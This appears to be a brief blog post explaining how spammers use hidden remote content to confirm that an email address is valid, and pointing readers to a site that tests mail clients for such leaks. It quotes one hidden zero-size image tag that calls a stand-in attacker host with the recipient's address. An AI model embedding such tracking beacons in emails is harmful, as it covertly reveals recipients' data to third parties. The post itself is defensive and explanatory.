Email Privacy Testing
Spammers are always trying to confirm that an address is valid. There are plenty of tricks such as simply requesting a mail reciept or more 31337 tricks such as getting you to request data from some point they control.
The most classic version of getting you to request data is to include a hidden image such as: <img src=”http://evilguy.com/AddressIsValid.email@example.com” width=”0″ height=”0″ />
There are plenty of other ways such as CSS tags or SVG files. Now there is a site that will test your mail client for about 30 or so of these in a simple and easy manner.
To run the test simply goto https://emailprivacytester.com/ and give it your email address. Next through your mail client such as Outlook or Hotmail WebUI open the email. Inside of the message will be a link to review the results.